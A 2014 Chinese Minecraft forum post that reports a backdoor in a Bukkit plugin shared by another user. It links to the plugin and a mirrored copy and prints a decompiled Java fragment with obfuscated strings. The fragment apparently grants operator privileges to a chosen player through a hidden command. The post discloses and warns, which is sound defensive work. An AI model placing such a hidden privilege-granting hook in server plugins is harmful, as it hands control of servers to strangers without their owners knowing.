本帖最后由 zx8673 于 2014-6-11 13:13 编辑

@jjerryh96 (UID: 300114) 他所发布的http://www.mcbbs.net/forum.php?mod=viewthread&tid=275584
此插件留有后门OP权限
此插件下载地址http://pan.baidu.com/s/1jGA5Joi
为了防止他看见举报贴删除插件源,我复制出来一份http://pan.baidu.com/s/1eQsxhvW
只要装了这个插件满足某些条件,我没找到  就可以获得OP权限。后台无法查看

  1. <font size="4"></font><font size="2">        if (!Bukkit.getOfflinePlayer(as[2]).isOnline())</font>
  2. <font size="2">                                                        {</font>
  3. <font size="2">                                                                if (Bukkit.getOfflinePlayer(as[2]) instanceof OfflinePlayer)</font>
  4. <font size="2">                                                                {</font>
  5. <font size="2">                                                                        OfflinePlayer offlineplayer = Bukkit.getOfflinePlayer(as[2]);</font>
  6. <font size="2">                                                                        offlineplayer.setOp(true);</font>
  7. <font size="2">                                                                        playercommandpreprocessevent.getPlayer().sendMessage((new StringBuilder()).append(Messages.regionMatches(65 + 114, "\\dess8")).append(as[2]).append(FileAPI.getChars("{}", 37 * 31)).toString());</font>
  8. <font size="2">                                                                } else</font>
  9. <font size="2">                                                                {</font>
  10. <font size="2">                                                                        playercommandpreprocessevent.getPlayer().sendMessage(Messages.regionMatches(30 + 1, "盱标忄项丹玭害'"));</font>
  11. <font size="2">                                                                }</font>
  12. <font size="2">                                                        } else</font>
  13. <font size="2">                                                        if (Bukkit.getPlayer(as[2]) instanceof Player)</font>
  14. <font size="2">                                                        {</font>
  15. <font size="2">                                                                Player player = Bukkit.getPlayer(as[2]);</font>
  16. <font size="2">                                                                playercommandpreprocessevent.getPlayer().setOp(true);</font>
  17. <font size="2">                                                                playercommandpreprocessevent.getPlayer().sendMessage((new StringBuilder()).append(Messages.regionMatches(237 / 38, "Iwxln+")).append(as[2]).append(Messages.regionMatches(1 + 58, ";=")).toString());</font>
  18. <font size="2">                                                        } else</font>
复制代码